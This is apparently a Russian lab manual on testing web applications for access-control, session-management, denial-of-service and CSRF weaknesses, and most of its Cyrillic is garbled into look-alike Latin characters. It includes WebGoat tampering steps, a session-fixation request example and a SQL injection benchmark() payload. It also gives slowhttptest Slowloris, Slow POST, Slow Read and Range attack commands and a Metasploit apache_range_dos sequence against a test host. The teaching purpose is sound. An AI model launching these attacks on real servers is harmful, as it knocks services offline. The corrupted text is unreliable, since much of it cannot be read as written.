BCEX BO3MOYKHBIX 3a- MPOCOB M cOOTBETCTBYOMUX UM URL, KOTOpBIE MOXKET BBIIOIHUTD JAHHBIN
10JIb30BaTENb. 3aTEM BCE MOJIyYEHHBIE 3aIPOChI BBITIOIHIIOTCS OT UMEHU JIPYToro Mojib30BaTeNs
BEO-TTPUIIOKECHHUS.

MexaHu3M aBTOpHU3aLN PEKOMEHIYETCs peajl30BbIBATh HA YPOB- HAX MPECTaBJICHUs, OU3HEC-
JIOTMKH U JIaHHBIX BEO-TIPUIIOKEHHS. Y PO- BEHb MPEICTaBICHUS — HE 0TOOpakaeT (pyHKIIMOHAI
(manpumep, ¢hop- Mbl, HpeiMbl, CCHUIKH, KHOIIKH), Ha KOTOPBI 1MOJIb30BaTENh HE UMEET MpaB
J0CTyMa. YpOBeHb OU3HEC-IOTUKU 00€CTIeYHBACT BHIIOJHEHNE IPOBEPKU HATMUHUS
COOTBETCTBYIOIIMX MPaB JOCTYIA IO BHIIOJHEHHS 3alpoca B BEO-MPUIIOKEHUH, T.€. HUKAKHe
(YHKIMU HE MOTYT OBITh BBITIOJIHEHBI 1O aBTOPHU3ALMU (HAlIpUMeEp, €CIIU MOJIb30BaTeNb OTIPAB-
JISIET 3aMpoC Ha YJAJICHUE YUYETHOM 3aIUCH, TO BEO-TIPUIIOKEHUE JOJIK- HO YOSIUTHCS, UYTO
M0JIb30BATEb UMEET MIPABO HA yJAJIEHUE YUETHON 3allUCH U HE BBIMOIHATh HUKAKUX (YHKIUH 10
TOT0, KaK 3TO Oy/IeT YCTAaHOBJIEHO). YPOBEHb IaHHBIX 00ECIIEUYNBAET IPOBEPKY HAINYMS TIPaB
JIOCTYyTIa TOJIb30BaTeNs K JaHHBIM, a HE TOJIBKO K (PYHKIIMOHATY 00pabOTKM JaHHBIX (Harpumep,
MoJjp30BaTeNb, ucnoyibdyss URL Buma

/delete?record=1, nomkeH yaaiasITh TOJIBKO TE 3alMCU B 06a3e JTaHHBIX, HA KOTOPBIE OH UMEET MPaBo
noctyna DELETE).
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Ilocmanoska 3a0avu
BrInmoaHUTE TECTHpPOBaHNE 3aIIMIIIEHHOCTH MEXaHU3Ma YIIPaBJICHUS JOCTYIIOM HCCIIEIyeMOTO BeO-
MIPUIIOKEHUSI.

Ilocnedosamenvrocms Oelicmauii
Hlar 1. HactpouTs paboTy Opay3epa uepe3 mTaTHBIN Mpokcu- cepBep Burp Suite. B Be6-
Opay3epe OTKpPBITh ITIABHYIO CTPAaHUILY Te- CTUPYEMOTO BEO-TIPHIIOKEHUS WWW.test.app.com.

[ar 2. 3apeructpupoBarbcs B BeO-mpriioxeHuu. [lomyunts uaeH-

TU(UKATOpP YUYETHOM 3alMCH U IapoJib JOCTyNa K BeO-npuiiokeHuto. [IpoananusupoBath
MPeCKa3yeMOCTb UACHTU(PHUKATOPOB MOJIb30BATE- JIEH U, €CIH 3TO BO3MOXKHO, aJITOPUTM
HazHa4YeHUs UJIeHTUPUKaTopoB. [IpoaHanu3upoBaTh peann30BaHHYIO B BEO-IPUIOKEHUH
NapoJIbHYIO MOJUTUKY. OLIEHUTH JOCTYIHYIO CJI0XKHOCTh BbIOOpA MapoJiei Mob30- BaTENIIMU.
OnmuoHa IRHO BBITIOIHUTH aTaKy MOJHOTO Iepedopa mapo- JieH.

[Har 3. TlepeiiTu O CChUIKE A ayTeHTU(UKALWU B IpuiokeHuu. [Ipu 3ToM HE00X01uMO
yoemuThCs, uTo (hopMa ayTeHTU(UKAIIMH JI0- CTYITHA TOJBKO 110 ipotokosry HTTPS. Y6enutscs,
YTO BBOJMMBIE MOJIB30BATENIEM JIOTUH U MAPOJb OTIPABIISIFOTCS B 3alIM(PPOBAHHOM BHJIE TIO
nporokosry HTTPS. Y6enutscs, 4To JOTUH U Mapoib HE OT- MpasistoTcs ¢ nomoupto HTTP-
metona GET.

[ar 4. IIpoBeputh, 4TO B BEO-MIPUIIOKEHUN U3MEHEHBI CTaHAAPT- HbIE MapOoJIK JJI1 BCTPOEHHBIX
YYETHBIX 3anucen. [IpoBepuTh, 4TO HO- BBIE YUETHBIC 3AIIUCH CO3JAI0TCS C PAa3JIMYHBIMU NIAPOJISIMHU.

Hlar 5. ITpoBepuTh BOZMOKHOCTh HIEHTH()UKALINY TTOJIb30BaTelNei BEO-TIPHUIIOKEHUS Yepes3
(opMBI perucTpanuy, BXo1a U BOCCTAaHOBJIE- HUS MapOJIsl.

J1i1s 3TOTO CiexyeT BBECTH HECYIIECTBYIOIIEe UMsI TIOJIb30BatTens (Hanpumep, qawsedrf1234) u
IIPOU3BOJIBHBIN MAPOJIb, @ 3aTEM UM CY- IIECTBYIOLIETO MOJIb30BATENS U IIPOU3BOJIBHBIN, HO
HETPaBWIBHBIN Ta- POJib. B 000MX ciydasx TOMKHO OBITH BBIBEIEHO OJJHO M TO XK€ CO00- meHne 00
omnOke Buaa «Omunbka B MUMEHH N0JIb30BATEINS WK HeBep- HbIl naponby. Takxe o6a HTTP-
OTBETA JIOJKHBI COBMAIATh C TOYHO- CTHIO 10 H3MEHSEMBIX ITapaMETPOB M OBITh TTOJYYEHBI 32 OJTHO
U TO K€ BpeMs. B mpoTuBHOM citydae BeO-IpuI0KeHHUE UMEEeT CKPBITBINA KaHall (OpaKyd),
MO3BOJISIOMINN UISHTH()UINPOBATH €T0 MOJIH30BATENCH.

Hlar 6. ITpoBepuTh BOZMOKHOCTh pealln3alluyl aTaku Noa0opa ma- posis nojab3osarens. Beectu nms
noJsib3oBarens. BBecTu HECKOIbKO pa3 HenpaBWiIbHbIN naposns (5 — 10 pas). Ilocne 3toro BBecTn
MIPaBUIbHBIN

napoJb s 3TOM y4eTHOH 3anucy. BBecTH oarHaKOBBIN Napoib ISl pa3HbIX YUETHBIX 3amucei (st

5-10).

[TpoBepuTHh BO3MOXKHOCTB AOCTYTA K BEO-MPUIIOKEHUIO. BIOKHpO- BaHME yUETHBIX 3amuceit
I0JIB30BATENS TI0CIIE HECKOJIBKUX HEYAAUHBIX IOINBITOK BXO/A CO3/1a€T YCIOBUE [l pealln3aluu
DoS-ataku 1 He T0JKHO MCIIOIB30BAThCS B MEXaHU3MaX 3allUThI OT aTaK 110100pa na- poJei.
BmecTo 3TOro He00X0AMMO UCIIOIB30BATh BO3PACTAIOIIME Bpe- MEHHBIE 3aIep KKK UM CPEJICTBA
aHTH-aBToMaTu3anuu (Harnpumep, CAPTCHA).

[ar 7. [IpoBepuTh, 4TO UYYBCTBUTEIbHBIM KOHTEHT (HallpUMEp, CTPAHUILIBI C BBEICHHBIMU
HOMEpaMu KPeIUTHBIX KapT, CIETOB, aJpe- COB) HE JOCTYIeH Yepe3 Mexanu3Mm History BeO-
Opay3epa, a TaKke He KIIIMpyeTcss UM. BONTH 1o/1 y4eTHOM 3amuChi0 MOJIh30BaTENs, IEPEUTH Ha
CTpaHUIly C YyBCTBUTEIbLHBIM KOHTEHTOM. BBecTH HOBBIC TaHHbIC. BoIliT U3 npuioxeHus. Haxats
kHonky «Backy. [Tonb3oBarens He TOMKEH UMETh BO3MOYKHOCTH BBITIOJIHATH HOBBIC 3aIIPOCHI (TIPH
KOp- PEKTHOM pean3aluy yIpaBieHUs cecCusiMu). Ecim mpu 3ToM mosbs30- BaTeo JOCTYITHBI
paHee 3amnpaniuBacMbie CTPAHUIIBI, TO TO 03HAYAET, YTO CEPBEPHAs YaCTh BEO-TPUIIOKEHUS HE
3amnpeTuiia Be0-Opay3epy COXpaHsITh JaHHBIE B HICTOPHUH.
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3ampenienue KamupoBanus onpenensercs HanuurneM HTTP- 3aronoskoB Pragma, Cache-
Control u Expires co cieayrommuMu peko- MeHIOBAaHHBIMU 3HAYCHUSIMH:

Pragma: no-cache

Cache-Control: no-cache, no-store, must-revalidate, max-age=0
Expires: -1

[lar 8. 3amyctuth BeO-npunoxkenne Web Goat. Beectu norus:
«guesty, apoJib: «guest».

[Tepeiitu o ccputke «Access Control Flaws — Bypass a Path Based Access Control». M3yuuth
ycnoBus 3anaud. Mc- monb3yst FireBug (umm mo00ii aHanoruuHbIi HHCTPYMEHT), U3MEHHUTD
3HayeHne AccessControlMatrix.html Ha ../../main.jsp. Haxatb kHoTIKY «View Filey.

Ilepeiitu o ccriike «LAB: Role Based Access Control — Stage 1». M3yunTh ycnoBus 3a1auu.
Boiiti nog nonb3oBarenem Tom (mapoas: Tom). MokHO BUAETH, UTO OT MOJIb30BATElNsl CKpPBITA
KHOIIKa

«DeleteProfile», Tak kak OH HE TOJKEH UMETh BO3MOXXHOCTH y/1a- JIATh Y4eTHbIE 3anucu. HaxaTsb
kHOMKY «View Profile». B Burp Suite mpocmotpets 3anpoc. Mcnons3ys FireBug (wn nro6oit
aHaJIo- THYHBIN MHCTPYMEHT), n3MeHuTh HTML-pa3zmery, 3aMEeHUB 3J1€MEHT

<input type="submit" value="ViewProfile" name="action">

Ha 3JIEMCHT

<input type="submit" value="DeleteProfile" name="action">

Haxxatp kHOmKy «DeleteProfile». IIpocMoTpets oTnipaBiaeHHsIH 3ampoc B Burp Suite. ITpoduib
MoJIb30Batesst OyIeT yaajeH.

OnmmonansHO pemuTh 3a1auy «LAB: Role Based Access Control — Stage 2».

[epeiitu mo cceiike «LAB: Role Based Access Control — Stage 3». 3yunTh ycnoBus 3a1auu.
Boiitu nmog monws3zoBareneM Tom (maposib: Tom). Haxkate kHonKy «View Profile». B Burp Suite
IIPO- CMOTPETH 3anpoc. MOXKHO BUAETH, UTO MOJIH30BATEINIO JOCTYIIHBI JaH- HbI€ CBOETO MpOoduIIs.
Ucnons3ys FireBug (nmm m000ii aHaOrHYHbI HHCTPpYMEHT), u3Mennts HTML-pa3mery, 3ameHuB
3JIEMEHT

<option value="105" selected="">Tom Cat (employee)</option>

Ha 3JICMCHT

<option value="103" selected="">Tom  Cat (employee)</option>

Haxats kHomnky «ViewProfile». [IpocMmoTpeTs oTnpaBieHHsblIi 3anpoc B Burp Suite. bByayT
BBIBEJICHBI laHHbIE Npoduis nosbs3oBaTens Curly Stooge.

OnuumonansHo pemmts 3amauy «LAB: Role Based Access Control — Stage 4».
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[epeiitu o cceiike «Remote admin access». M3yunts ycious 3agaun. [IpocmoTrpers
noameHto «Admin Functionsy. [Tepeiitu o ccpiike WebGoat/attack?
Screen=86&menu=200&admin=true. [IpocmoTpeTs noamento «Admin Functionsy.

Bonpocwl u 3a0anus
1. V3yunTh peKOMEHIallU1 K 3alTUIICHHON peann3alud MeXaHu3Ma XpaHeHUs MMapoJIei.
HccnenoBaTh MeXaHU3M BOCCTAHOBJICHHUSI MTapoJieit BBIOPAHHOTO BEO-TPUITOKEHHSL.
2. WccnenoBaTh MUHUMAIIBHO JOMYCTUMYIO JIJTUHY U CIIOKHOCTH MApoJie B MPOU3BOJIBHBIX
ATy BeO-miproxeHusx u3 pedtuara ALEXA TOP 100.
3. HccnenoBaTh HaMU4HMe OPaKyJIOB B MEXaHU3MaX ayTeHTU(HUKA- [IUHA TPOU3BOJIBHBIX TISTH
BeO-mpmitoxeHusx u3 peiituara ALEXA TOP 100.

TecmupoeaHue 3AUUUWEHHOCMU MEXAHUIMA YNPABIIEHUS CECCUAMU

Lenv pabomui
Lenbto 1abopaTtopHOii paboTHI ABIsiETCS 00yUeHHE COBPEMEHHBIM METOIaM U CPEJICTBAM
TECTUPOBAHUS 3AIMUIIICHHOCTH MEXaHU3Ma yIPABJICHUS CECCUSIMH B BEO-TIPHIIOKCHHUSX.

Kpamkue meopemuueckue ceéedenus

Ceccus BeO-npuiioxeHust — 3To nocneaosarenbHocTs HTTP- 3anpocoB u coOTBETCTBYIOMUX UM
HTTP-oTBeTOB, acCOLMUPOBAHHBIX C KOHKPETHBIM moJb30BaresieM. IIporokon HTTP He umeer
BCTPOCH- HBIX MEXAHU3MOB YIIPaBJICHHS ceccusiMu (stateless protocol) u mosToMy MexaHu3m
yIpaBJICHUS CECCUSIMH peallu3yeTcsl JIOTUKOM BeO- mpuiioxkenusa. Kak MUHMMYM, ceccusi co3aercs
IIpH yCIIEUTHON ayTeH- TU(UKALUU 0JIb30BaTeNs B BeO-npuiiokeHun. [Ipu 3Tom renepupyer- cs
YHUKaJIbHBIN UICHTU(UKATOP (TOKEH) CECCUU, aCCOLMMPOBAHHBIN € ATUM MOJb30BaTesIeM. JaHHbIH
uneHtuduxatop nepegaercs B kaxxkaom HTTP-3ampoce u siBisieTcs aHanoroM naposist
noJib3oBareds, Tak kak oot HTTP-3anpoc, conepkamuii Takoii uaeHTHPUKATOP, OyAET
BOCHPUHAT BEO-NPUIIOKEHUEM KaK 3allpoC OT JIETUTUMHOTO 10JIb30Ba- TEJsl.

Kak npaBuno, uaentuduxatop ceccuu nepenaercs B 3aronoBkax Cookie cpeactBamu BeO-
Opaysepa, pexe B cneranbabix HTTP- 3aronoBkax (manpumep, X-Auth-Token) cpeacrsamu
AJAX. Ilepenaya unentudukaropa ceccu B URL sBrsieTcss HamMeHee 3alUIIIeHHON U B
HACTOSIIEE BPEMSI, KaK IPABUJIO, HE TPUMEHSIETCA.

[IpuBenem ocHOBHBIE TPpeOOBaHMUS OE30MACHOCTH K pealn3aliy Me- XaHu3Ma YIPaBICHUS
ceccusimu [8]:

— UM$ CECCHOHHOTO HJICHTU(UKATOPA HE TOJDKHO MO3BOJIATH JIETKO UACHTH(PHUIIMPOBATH BEO-
npunoxenue (Hanpumep, PHPSESSID, ASP.NET Sessionld, JSESSIONID);

— JUITMHA CECCHOHHOTO HJICHTHU(UKATOpA JOKHA ObITh HE MeHee 128 OuT;
— DHTPOIHUSA CECCHOHHOTO HUACHTU(UKATOpa JODKHA ObITh HE MeHee 64 OuT;

— meperaya CECCHOHHOTO MACHTU(UKATOpa JOKHA OCYIIECTBIATHCS B 3arojoBkax Cookie ¢
¢dnaramu HttpOnly, Secure u BeicTaBiieH- HbIM aTpuOyToM Domain;

— IIOCJIC UBMCHCHUS COCTOAHUSA I10JIb30BATCIIA (BXOI[ B BeO- MMPUIIOKCHUEC, CMCHA I1apO0JIsd, CMCHA
POJin, UCTCUCHUC TaﬁMaYTa HE€- aKTUBHOCTH U T.I[.), KPUTUYHOI'O C TOUKHU 3pCHUA ITOJIUTHKHU 0e3-
OIIACHOCTH, OOJIDKCH CO31aBaTbCs HOBBIM I/I):[eHTI/I(bI/IKaTOp CceCCuu, a CTapLIfI — AHHYJIMPOBATbHCA,

— nociie u3MeHeHus nportokoia HTTP na HTTPS nomxen coznaBaTh- cs1 HOBbIM HIEHTU(DUKATOP
CEeCCuH, a CTapbli — AaHHYJIUPOBATHCS;

— aHHYJIMPOBAHHE CECCHOHHOTO UIECHTU(UKATOPA JOJKHO OBITh pea- TU30BAHO KaK Ha KIIMEHTE,
TaK 1 Ha CepBepe;
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— JIOJDKHBI OBITh PeaTM30BaHbl TaliMayT HEAKTUBHOCTH, a0CONIIOTHBIN TaiiMayT U TaliMayT
OOHOBJIEHHSI CECCHOHHOTO HIEHTU(UKATOPA.

BLI[[GJ'ISIIOT CJICAYIOIUC OCHOBHBLIC aTaKWM Ha MCXAaHU3MBbI YIIPABJIC- HUSA CCCCUAMMU:

— (ukcamnus ceccuu;

— moa0op uAeHTU(GUKATOPA CECCUU;
— MmepexBaTr UACHTU(UKATOPA CECCUHU;
— Kpaka HJIeHTU(HUKATOpa CECCHH.

HOJ'Iy‘IeHI/IC I/I,Z[GHTI/I(l)I/IKaTOpa CECCHHU IOJIB30BATCIIA IMMPUBOJUT, KAaK IIPaBUIIO, K ITOJIYUCHHUIO
3JIOYMBIIIJICHHUKOM BCCX ITPaB IMOJIB30BaTCIIA.

Ilocmanoska 3a0auu
BBINONMHUTE TECTHPOBaHKE 3AIIUIICHHOCTH MEXaHH3Ma YIPaBICHUS CECCUSIMU UCCIICyEMOTrO
BEO-TIPHIIOKECHHUS.

Ilocneoosamenvrnocmyo Oelicmsuii

[ar 1. Hactpouts paboTy Opay3epa uepes mTaTHbIN NpokcH- cepsep Burp Suite. B Be6-
Opay3epe OTKPHITh TTIaBHYIO CTPAHUILY TECTHPYEMOT0 BEO-TIPUIIOKEHUS WWW.test.app.com.
[Ipocmotpets Cookie, onpenenuTh, CO31aeTCsl IU CECCHsl U Heay TeHTU(UITUPOBAHHBIX
(aHOHMMHBIX) MOJIb30BATEEH.

[Iar 2. BBecTH KOppEKTHBIE JIOTUH ¥ Maposib. ONpeenTh, 9TO UCIOIb3YETCs B KAUECTBE
TpaHCIIOpTa AJIs Tiepeiaun uaeHTH(UKaTopa ceccur. ECIn ISt 3TOT0 HCIMOJIB3YETCSl MEXaHU3M
Cookie, To onpenenuth UMeHa cookie, ux aTpudyTsl (Secure, HttpOnly, Domain, Path, Expires) u
3HaueHus. [IpoaHanu3upoBath aIeKBaTHOCTh HCIIONIB3yeMbIX aTprlOyToB Cookie.

[ar 3. IIpoananu3upoBath UMs UAECHTH(PHUKATOPA CECCUU, €r0 CTPYKTYpPY U 3HaUCHUE,
OTIPEJICNIUTh, UCIIOJIB3YETCS JIN KOJUPOBaHHUE WK MH(pOBaHUE TaHHBIX. VICTIONB3ysl HHCTPYMEHT
Sequencer B Burp Suite, npoanaiu3upoBaTh BEPOITHOCTHBIE XapaKTEPUCTUKHU MTOCIIEI0BATETLHOCTH
UACHTUPHUKATOPOB ceccuii. Cenarh BBIBOA O COOTBETCTBUU peann3auuu GyHKIUU TeHEpaIiu
unaeHTudukaTopoB TpedboBanusM 6e3onmacHocTH. CaenaTh BHIBOJ O BO3MOKHOCTH MCIIOJIb30BAHUS
aTaky rpy0o0i CUIIBI sl TeHEpallui CECCHOHHOTO UICHTU(UKATOPA MOJIb30BATEIS.

[ar 4. [TpoBepuTh aHHYJIUPYEMOCTh CeCCHM Ha cepBepHOi ctopone. Coxpanutb Cookie B BeO-
Opay3epe (MOXKHO HCIOJIb30BaTh

pacmupenue Export Cookies), BBIATH U3 MpHiokeHus. FIMIOpTUpOBaTh COXpaHEHHBIE paHee
Cookie B 6pay3ep (MoxHO Hcnoab3oBath pacupernue Import Cookies). Ilepeiitu no mobGomy
anpecy BeO-npunoxenus. Eciu BbI onazieTe B MpeIbIayIIyI0 CECCUI0, TO 3TO 03HAYAeT, YTO
aHHYJINPOBAaHUE CECCHU MPOUCXOIUT TOJIBKO Ha KiHeHTe. [IpoBepHuTh, 4TO MOJIB30BATENb MOXKET
3aBEpPUINTH CBOIO CECCHIO B JII000 MOMEHT BPEMEHH — Ka)Kasi CTPAHUIIA, OCTYITHAs [10CTIe
ayTeHTU(UKALIUH, CONEPKUT CCHIIKY TUMA «Sign out», MO3BOJISAIOUIYIO 3aBEPIIUTH CECCHIO.
[IpoBepuTh, KaKMe MEXaHU3MbI TAHMAYTOB PEAJTM30BAHBI B BEO-TIPHIIOKEHHH.

[Ilar 5. IIpoBepuTh BO3MOKHOCTH BBINOJHEHUS AaTaKu THIA

«Pukcaryst ceccun». [y 3TOro NpoBEepUTH HATUYKE CISIYIONIET0 HeIOCTaTKa: BEO-TIPHIIOKEHUE
He OOHOBJISIET CECCHOHHBIN UIEHTU(UKATOP, OTIIPABICHHBIN Opay3epoM MOJIb30BaTeNs, ITOCIe
YCIICIIHOM ayTeHTU(HUKAIMH MocenHero. OTnpaBUTh 3apoc BeO- MPUI0KESHUIO U TIOIYYUTh
ceccuoHHbI naentudukatop B Cookie:
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GET /HTTP/1.1
Host: www.test.app.com
\r\n

HOHy‘lI/ITB U IPpOaHATIU3UPOBATH OTBCT

HTTP/1.1 200 OK

Date: Wed, 14 Aug 2008 08:45:11 GMT

Server: IBM_HTTP_ Server

Set-Cookie: ID=d8eyYq3L0z2fgq10m4v; Path=/; secure

AyTteHTH()ULIPOBATHCS, UCIONB3YS 3alIPOC C MOIYYEHHBIM UJeH- Tu(ukaTopom ID:

POST https://www.test.app.com/auth HTTP/1.1 Host: www.test.app.com
Cookie: ID=d8eyYq3L0z2fgql0m4v

\r\n user=test&password=7z123456

Ecnu ayrenTudukaiys npouuia ycreuHo, To NPHUIoKEeHNE ysI3BUMO K aTake (UKCAIlUU CECCHU.

JIONOTHUTENBHO YOEIUThCS, YTO UACHTU(HUKATOP CECCUH nepenaercs Toibko B Cookie u He
packpbiBaeTcs B Jor-(aitnax, coodmenusx 06 ommokax, URL u T.1.

Hlar 7. IlpoBepuTh, 4YTO UACHTU(UKATOP CECCUN MEHSETCS MOCTe MOBTOPHOM ayTeHTHU(HKAIINY,
CMEHBI IApOJIsl, POJIU U T.1.

Hlar 8. IIpoBepuTh, 4TO BEO-MPUIIOKEHHE HE TIO3BOJIIET UMETh JIB€ OJIMHAKOBHIE CECCHH C IBYX
Pa3HBIX y3JI0B CETH.

Bonpocwl u 3a0anus
1. IIpennoxuTh CLieHapui aTaky, UCIIONb3YIOIUN HEJOCTATOK aH- HYJIMPOBAHUS CECCUU
TOJIbKO Ha KIIMEHTCKON CTOPOHE BEO- MPUIIOKEHHUS.
2. Ucnonbiys nouckossie cucteMsl (Google, Shodan), HaliTu BeO- MPUIIOKEHUS C MEXAaHU3MOM
URL Rewriting.
3. Hammcats cuenapuii JavaScript, ycTaHaBIMBaIOLINIA WM CUATHI- BAIOIINN UIeHTH()UKATOP
CECCHH IIOJIB30BATEII.

Tecmupoeanue na ycmoudugocms K amakam omKasza 6 00CiyHCusanuu
Lenv pabomwl
enpro mabopatopHON pabOTHI ABISETCA 00yUeHHE METOaM U CPEJICTBAM TECTUPOBAHUS BEO-
MIPUJIOKEHUH HA YCTOWYMBOCTh K aTakaM OTKasa B oOciyxuBanuu (DoS-atakam).

Kpamkue meopemu4ecKkue ceeoenus

Henwro peanuzanun DoS-ataku sSBIsSETCS HAPYIIEHNUE JOCTYITHOCTH BEO-TIPHIIOKEHUS. ITO
MOJKET OBITh JOCTUTHYTO IyTeM DoS-ataku Ha KaHaJ CBS3U, IPOrpaMMHYIO TIaThOopMy BeO-
cepBepa WIK Ha caMO BEO-IPUIIOKEHHE.

Tpaauuuonno DoS-ataku sBIAIOTCS CeTEBBIMU (MCIIONIB3YIOT HEJOCTATKH CETEBBIX TEXHOJIOTHI) U
MOTyT ObITh Ki1accuuupoBansl o ypoBHsaM moaenu [ISO/OSI. Hanpuwmep, ataku ICMP Flood
(L3) u DNS/NTP Amplification (L7) npuBoasT k oTka3y KaHana cBsi3H, a ataku Ping of Death
(L3), SYN Flood (L4), SSL Renegotiation DoS(L5/L6), HTTP Flood (L7), Slow HTTP (L7)
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BO3JICHCTBYIOT Ha M1aTGopMy BeO-TIpUIIOKEHHS (OnepaliioHHas cucTeMa, BeO-cepBep, GpaiMBOpK
U T.1.).

JUist focTHKeHUs 0TKas3a B 00CTYKHBAHUU C TIOMOIIBIO aTak MpUKiaaHoro ypoBHs (L7)
aTaKyoIIeMy MOXET MoTpeOoBaThCs CYLIECTBEHHO MEHbIIIee KOIMYECTBO pecypcoB. Hampumep,
ecnu 1 yenemrHo# peanusanus ataku SYN Flood ona nomkHa 61Tk pactpeaenernoit (DDoS) u
WCIIONB30BaTh OOTHET, TO s peanm3aiuu atak kinacca Slow HTTP DoS (Slowloris, Slow HTTP
Post, Slow HTTP Read) o0b14H0 noctatodno ogHoro kommbiotepa [10 — 13].

Bwmecre ¢ Tem 11t BeO-npusIoKeHUH Takoke XxapakTepHbl DoS-ataku ypoBHS MPHIIOKEHUS,
BO3MOJKHBIE M3-3a HAIMYMS ysI3BUMOCTEH B ero koze [9]. Hanpumep, BO3MOXXHOCTb ITPOBEACHUS
ataku THna SQL injection MOKeT MO3BOJIUTH 3I0YMBIIIEHHUKY YJAIUTh 0a3y JaHHBIX C YYETHBIMU
3aMuCsMH TOJIb30BaTENIeH WK BBIMTOIHUTH 3anpoc Bua select benchmark(100000000, now()) mmns
M3pacX0JI0BaHUSI PECYpCOB CUCTEMBIL. Taxke mpuMepaMu aTak ypOBHSI MPHIIOKEHHS SBIISIOTCS aTaKu
XML Billion Laughs (XML Bomb), XML Quadratic Blowup Attack, ZIP of Death (ZIP Bomb)

Ilocmanoska 3adauu
BbINONHUTE TeCTUPOBAHHE YCTOMYMBOCTH BEO-NPUIIOKEHUS

www.test.app.com k DoS-arakam Ha ypoBHe npotokosia HTTP.

Ilocnedosamenvrnocms Oelicmauii
Hlar 1. YcranoButs nporpammy slowhttptest, moctynayro mo URL Buna
https://code.google.com/p/slowhttptest. I3yunts qokyMeHTaIu0. 3amyCcTUTh CETEBOI aHAINU3aTOp
Wireshark.
[Hlar 2. Ha TecToBOM CTeHJIe, SMYIUpYIOILEM paboTy BeO-cepBepa www.test.app.com,
YCTaHOBHTH U BHITIOJHUATH 0a30BbIe HACTPOIKH /115 BeO-cepBepoB Apache, Nginx u IIS. 3amyctuts
BeO-cepBep Apache.

Hlar 3. 3amycTuTts B OTHOWIEHHH BeO-cepBepa araky Slowloris, mpocMOTpeTh TpacCHpPOBKY
COEZIMHEHUs, TPOBEPUTH JTOCTYITHOCTh BEO- cepBepa ¢ MOMOILBIO IPOU3BOJIBHOIO Opay3epa:

# slowhttptest -H -c 3000 -r 3000 -1 50 -1 6000
—u http://www.test.app.com

[IpoBecTr HECKOIBKO TECTOB C Pa3IMYHBIMK MapaMeTpamu. [locTponTs rpaduku cocTosiHUS BEO-
cepBepa.
[ar 4. 3anyctuth B oTHOIIEHNH BeO-cepBepa ataky Slow HTTP POST, mpocMmoTpeTh

TPACCUPOBKY COEAMHEHUS, TPOBEPUTH IOCTYITHOCTH BeO-cepBepa ¢ MOMOIIBI0 TPOU3BOIHHOTO
Opaysepa:

# slowhttptest -B -¢ 3000 -r 3000 -1 50 -1 6000
—u http://www.test.app.com

[TpoBecTH HECKOIBKO TECTOB C pa3IMYHbIMK napaMeTpamu. [loctpouTs rpaduku cocTosiHus BEO-
cepsepa.

Hlar 5. 3amycTuTh B OTHOIIEHNH BeO-cepBepa ataky Slow Read, BriOpaB ¢aiin qocTarouHoro
pa3Mepa, IPOCMOTPETh TPACCUPOBKY COEMHEHHMS, IIPOBEPUTH JOCTYIHOCTh BeO-cepBepa ¢
MIOMOILBIO ITPOU3BOJILHOTO Opay3epa:
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# slowhttptest -X -c¢ 3000 -r 3000 -1 6000 -k 5 -n 50
-w 1 -y 2 -z 1 —u http://www.test.app.com/bigauth.js

[IpoBecTr HECKOJBKO TECTOB C Pa3IMYHBIMU TapameTpaMu. [locTpouTts rpadmku coCTOsSTHUS BEO-
cepsepa.

Hlar 6. OcranoButs cepBep Apache. 3amyctuts cepBep Nginx.
[Ipoxenars mpeapIAyIIME MIaTH B OTHOIIEHHH cepBepa Nginx.

[ar 7. OcranoButs cepsep Nginx. 3amyctuts cepsep IIS. [Iponenars npenpinymye maru B
OTHOIIEHUU cepsepa IIS.

Hlar 8. B orHomennn cepsepa Apache BeimomHUTE ataky Apache Range Header.
[TpoaHanu3upoBaTh pe3yabTaThl. BHIIOIHUTH KOMaHITY

# slowhttptest -R -u http://www.test.app.com -t GET
-c 1000 -a 10 -b 3000 -r 500

Brimonauts ataky Apache Range Header ¢ ucmonszoBannem Metasploit Framework:

# msfconsole

use auxiliary/dos/http/apache range dos
show options

set RHOSTS www.test.app.com

set RPORT 80

set RLIMIT 100

set THREADS 3

run

V VV VYV VYV

Bonpocwl u 3a0anus
1. Kak MOXHO 110 KOCBEHHBIM MpPU3HAKaM ONpEACTIUTh YI3BUMOCTh BEO-cepBepa K aTakaM
tuna Slow HTTP DoS?
2. Peanm3oBaTh MeXaHW3MBI 3alTUTHI I BeO-cepBepa Apache ot atak Slow HTTP DoS.
3. Peanu3oBaTh M NMpOTECTUPOBATH BeO-MPHIIOKEHHUE, ys3BUMOe K arake XML Bomb.

Touck yaseumocmeu k amaxam CSRF

Lenv pabomwl
[enpro mabopaTopHO pabOTHI ABIISAETCA 00yUYEeHHE METOAaM U CPEICTBAM MACHTU(PUKAIINH 1
9KCIUTyaTaly ys3BUMoOCTel BeO- nputokeHuii k atakam CSRF.

Kpamxue meopemuueckue ceedenus

Artaka Cross-Site Request Forgery (CSRF unu XSRF) nepeBoautcst kak «MexcaiiToBas
nozienka 3anpocoBy [14, 15]. JlanHast aTaka 3aKIr04aeTCsl B TOM, YTO 37I0YMBIITUICHHUK
BBIHYKJIaeT Opay3ep MoJIb30BaTelNs OTIPaBUTh Oe3 BeoMa nocieaHero npousBonbHbeiii HTTP-
3arpoc.

Va3sumocts k aTake CSRF 00ycnoBiieHa HelocTaTKaMH OTCYTCTBHS MJIM HEKOPPEKTHOCTH
MIPOBEPKHU BeO-MpuiioxkeHneM rucrounuka (origin) HTTP-3anpocos.

Kak npaBuio, ataka npoBoanTCs B ABa 3Tana. Ha nepBom sTane 3710yMBIIUIEHHUK [TOATOTABINBAET
BeO-pecypc (mrbo Ha cBoeM COOCTBEHHOM cepBepe, TM00 Ha KakoM-In00 ¢hopyMe Wil B
couuanbHoOU cetn), coaepxkamuii kogq HTML umu JavaScript u
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BBIHY KJAIOIINNA Opay3ep MoJIb30BaTeNsl BHIIOIHUTD HY X HbIN 310yMblnuieHHUKY HTTP-3anpoc.

Ha BTOpOM 3Tare 310yMbIIIICHHUK BBIHYXKIACT XKEPTBY 3alTH Ha MOJTOTOBJICHHBIH UM pecypc,
nepeaB el CChUIKY C 3aBJICKAIOLINM TEKCTOM. J{JIs1 3TOTO 370yMBIIIJICHHUK MOKET
BOCIIOJIb30BAThCS COIMATBHBIME CETSIMH, JICKTPOHHOM IMOYTOW WIIM CCTeMaMu 0OMeHa
MT'HOBCHHBIMHU COO6H.ICHPI$IMPI, a TAKKE UCITIOJIb30BaTh METOAbI counaanoﬁ HHKCHCPUU. I[J'IS'I
MAaCKUPOBKH aJipeca BPeIOHOCHOTO BeO- pecypca, 3JI0YMBINUICHHHUK MOXET BOCIIOJIb30BAThCS
